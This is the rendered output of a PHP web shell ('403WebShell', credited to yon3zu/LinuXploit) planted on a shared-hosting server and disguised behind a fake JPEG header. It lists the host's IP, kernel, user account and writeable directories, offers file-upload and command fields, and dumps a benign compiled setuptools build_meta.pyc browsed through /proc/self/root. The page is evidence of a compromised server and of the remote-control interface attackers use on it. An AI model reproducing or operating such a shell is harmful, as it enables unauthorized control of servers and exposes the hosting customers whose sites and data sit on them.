���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.49  /  Your IP : 216.73.216.70
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyc
�
u�fc@svdZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZddl
mZdddd	d
ddgZdefd
��YZdejjfd��YZd�Zd�Zd�Zd�Zdefd��YZdefd��YZe�ZejZejZejZejZej Z e�Z!dS(s-A PEP 517 interface to setuptools

Previously, when a user or a command line tool (let's call it a "frontend")
needed to make a request of setuptools to take a certain action, for
example, generating a list of installation requirements, the frontend would
would call "setup.py egg_info" or "setup.py bdist_wheel" on the command line.

PEP 517 defines a different method of interfacing with setuptools. Rather
than calling "setup.py" directly, the frontend should:

  1. Set the current directory to the directory with a setup.py file
  2. Import this module into a safe python interpreter (one in which
     setuptools can potentially set global variables or crash hard).
  3. Call one of the functions defined in PEP 517.

What each function does is defined in PEP 517. However, here is a "casual"
definition of the functions (this definition should not be relied on for
bug reports or API stability):

  - `build_wheel`: build a wheel in the folder and return the basename
  - `get_requires_for_build_wheel`: get the `setup_requires` to build
  - `prepare_metadata_for_build_wheel`: get the `install_requires`
  - `build_sdist`: build an sdist in the folder and return the basename
  - `get_requires_for_build_sdist`: get the `setup_requires` to build

Again, this is not a formal definition! Just a "taste" of the module.
i����N(tTemporaryDirectory(tparse_requirements(tmakedirstget_requires_for_build_sdisttget_requires_for_build_wheelt prepare_metadata_for_build_wheeltbuild_wheeltbuild_sdistt
__legacy__tSetupRequirementsErrorcBseZd�ZRS(cCs
||_dS(N(t
specifiers(tselfR
((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt__init__4s(t__name__t
__module__R(((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR	3stDistributioncBs)eZd�Zeejd���ZRS(cCs+tttt|���}t|��dS(N(tlisttmaptstrRR	(RR
tspecifier_list((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pytfetch_build_eggs9sccs5tjj}|tj_z	dVWd|tj_XdS(sw
        Replace
        distutils.dist.Distribution with this class
        for the duration of this context.
        N(t	distutilstcoreR(tclstorig((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pytpatch>s
	(R
RRtclassmethodt
contextlibtcontextmanagerR(((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR8s	cCs:tjddkr6t|t�r6|jtj��S|S(s�
    Convert a filename to a string (on Python 2, explicitly
    a byte string, not Unicode) as distutils checks for the
    exact type str.
    ii(tsystversion_infot
isinstanceRtencodetgetfilesystemencoding(ts((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt_to_strNs#cCsAgtj|�D]-}tjjtjj||��r|^qS(N(tostlistdirtpathtisdirtjoin(ta_dirtname((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt_get_immediate_subdirectories[scs,�fd�tj|�D�}|\}|S(Nc3s$|]}|j��r|VqdS(N(tendswith(t.0tf(t	extension(sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pys	<genexpr>bs(R$R%(t	directoryR/tmatchingtfile((R/sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt_file_with_extension`s	cCs5tjj|�stjd�Sttdt�|�S(Nu%from setuptools import setup; setup()topen(R$R&texiststiotStringIOtgetattrttokenizeR4(tsetup_script((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt_open_setup_scriptis
t_BuildMetaBackendcBsneZd�Zd�Zdd�Zd
d�Zd
d�Zd
d�Zd�Z	d
d
d�Z
d
d	�ZRS(cCs |p	i}|jdg�|S(Ns--global-option(t
setdefault(Rtconfig_settings((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt_fix_configsscCsv|j|�}tjd dg|dt_y!tj��|j�WdQXWn tk
rq}||j7}nX|S(Nitegg_infos--global-option(R?RtargvRRt	run_setupR	R
(RR>trequirementste((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt_get_build_requiresxs
ssetup.pycBsT|}d}e|��}|j�jdd�}WdQXe||d�e�UdS(Nt__main__s\r\ns\ntexec(R;treadtreplacetcompiletlocals(RR:t__file__R
R.tcode((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyRB�s
cCs%|j|�}|j|ddg�S(NRCtwheel(R?RE(RR>((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR�scCs"|j|�}|j|dg�S(NRC(R?RE(RR>((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR�scCs)tjd ddt|�gt_|j�|}x�tr�gtj|�D]}|jd�rL|^qL}t|�dkr�tt	|��dkr�tj
j|tj|�d�}q6nt|�dks�t�Pq6W||kr!t
jtj
j||d�|�t
j|dt�n|dS(Nit	dist_infos
--egg-bases
.dist-infoit
ignore_errors(RRAR#RBtTrueR$R%R,tlenR+R&R(tAssertionErrortshutiltmovetrmtree(Rtmetadata_directoryR>tdist_info_directoryR.t
dist_infos((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR�s(
		cCs�|j|�}tjj|�}t|dt�td|���}tjd |d|g|dt_|j	�t
||�}tjj||�}tjj|�r�tj
|�ntjtjj||�|�WdQX|S(Ntexist_oktdiris
--dist-dirs--global-option(R?R$R&tabspathRRQRRRARBR3R(R5tremovetrename(Rt
setup_commandtresult_extensiontresult_directoryR>ttmp_dist_dirtresult_basenametresult_path((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt_build_with_temp_dir�s
%cCs|jdgd||�S(Ntbdist_wheels.whl(Re(Rtwheel_directoryR>RW((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR�scCs|jdddgd||�S(Ntsdists	--formatstgztars.tar.gz(Re(Rtsdist_directoryR>((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR�sN(R
RR?RERBtNoneRRRReRR(((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyR<qs		
	t_BuildMetaLegacyBackendcBseZdZdd�ZRS(sCCompatibility backend for setuptools

    This is a version of setuptools.build_meta that endeavors to maintain backwards
    compatibility with pre-PEP 517 modes of invocation. It exists as a temporary
    bridge between the old packaging mechanism and the new packaging mechanism,
    and will eventually be removed.
    ssetup.pycCs�ttj�}tjjtjj|��}|tjkrRtjjd|�ntjd}|tjd<ztt	|�j
d|�Wd|tj(|tjd<XdS(NiR:(RRR&R$tdirnameR\tinsertRAtsuperRlRB(RR:tsys_patht
script_dirt
sys_argv_0((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyRB�s


(R
Rt__doc__RB(((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyRl�s("RsR6R$RR9RTRt
setuptoolsRtsetuptools.py31compatRt
pkg_resourcesRtpkg_resources.py31compatRt__all__t
BaseExceptionR	tdistRR#R+R3R;tobjectR<Rlt_BACKENDRRRRRR(((sF/opt/alt/python27/lib/python2.7/site-packages/setuptools/build_meta.pyt<module>sB		
				h%						

Youez - 2016 - github.com/yon3zu
LinuXploit